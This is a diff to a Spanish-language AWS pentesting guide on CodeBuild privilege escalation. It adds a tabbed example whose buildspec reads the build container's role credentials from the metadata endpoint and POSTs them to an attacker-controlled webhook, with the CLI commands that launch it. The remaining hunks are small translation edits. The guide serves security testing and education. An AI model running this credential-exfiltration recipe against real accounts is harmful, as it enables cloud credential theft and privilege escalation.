Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md

@@ -133,6 +133,40 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat
 # Start a build with the new project
 aws codebuild start-build --project-name reverse-shell-project
 
+```
+{{#endtab }}
+
+{{#tab name="Example3" }}
+```bash
+# Generated by ex16x41, tested
+# Create a hook.json file with command to send output from curl credentials URI to your webhook address
+
+{
+"name": "user-project-1",
+"source": {
+"type": "NO_SOURCE",
+"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n      - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
+},
+"artifacts": {
+"type": "NO_ARTIFACTS"
+},
+"environment": {
+"type": "LINUX_CONTAINER",
+"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
+"computeType": "BUILD_GENERAL1_SMALL"
+},
+"serviceRole": "ARN-OF-TARGET-ROLE"
+}
+
+# Create a new CodeBuild project with the hook.json file
+aws codebuild create-project --cli-input-json file:///tmp/hook.json
+
+# Start a build with the new project
+aws codebuild start-build --project-name user-project-1
+
+# Get Credentials output to webhook address
+Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from
+
 ```
 {{#endtab }}
 {{#endtabs }}
@@ -188,7 +222,7 @@ aws codebuild start-build --project-name codebuild-demo-project
 
 ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-Como en la sección anterior pero **sin el permiso `iam:PassRole`**, puedes abusar de estos permisos para **modificar proyectos de Codebuild existentes y acceder al rol que ya tienen asignado**.
+Como en la sección anterior, pero **sin el permiso `iam:PassRole`**, puedes abusar de estos permisos para **modificar proyectos de Codebuild existentes y acceder al rol que ya tienen asignado**.
 
 {{#tabs }}
 {{#tab name="StartBuild" }}
@@ -268,15 +302,15 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
 
 ### SSM
 
-Teniendo **suficientes permisos para iniciar una sesión ssm**, es posible **entrar en un proyecto de Codebuild** que se está construyendo.
+Teniendo **suficientes permisos para iniciar una sesión de ssm**, es posible **entrar en un proyecto de Codebuild** que se está construyendo.
 
 El proyecto de codebuild necesitará tener un punto de interrupción:
 
 <pre class="language-yaml"><code class="lang-yaml">phases:
 pre_build:
 commands:
-- echo Entró en la fase pre_build...
+- echo Entered the pre_build phase...
-- echo "Hola Mundo" > /tmp/hello-world
+- echo "Hello World" > /tmp/hello-world
 <strong>      - codebuild-breakpoint
 </strong></code></pre>
 
@@ -289,7 +323,7 @@ Para más información [**consulta la documentación**](https://docs.aws.amazon.
 
 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
 
-Un atacante que pueda iniciar/reiniciar una construcción de un proyecto específico de CodeBuild que almacena su archivo `buildspec.yml` en un bucket de S3 al que el atacante tiene acceso de escritura, puede obtener ejecución de comandos en el proceso de CodeBuild.
+Un atacante capaz de iniciar/reiniciar una construcción de un proyecto específico de CodeBuild que almacena su archivo `buildspec.yml` en un bucket de S3 al que el atacante tiene acceso de escritura, puede obtener ejecución de comandos en el proceso de CodeBuild.
 
 Nota: la escalación es relevante solo si el trabajador de CodeBuild tiene un rol diferente, esperemos que más privilegiado, que el del atacante.
 ```bash
@@ -320,7 +354,7 @@ commands:
 **Impacto:** Privesc directo al rol utilizado por el trabajador de AWS CodeBuild que generalmente tiene altos privilegios.
 
 > [!WARNING]
-> Tenga en cuenta que se podría esperar que el buildspec esté en formato zip, por lo que un atacante necesitaría descargar, descomprimir, modificar el `buildspec.yml` desde el directorio raíz, volver a comprimir y subir.
+> Tenga en cuenta que el buildspec podría esperarse en formato zip, por lo que un atacante necesitaría descargar, descomprimir, modificar el `buildspec.yml` desde el directorio raíz, volver a comprimir y subir.
 
 Más detalles se pueden encontrar [aquí](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).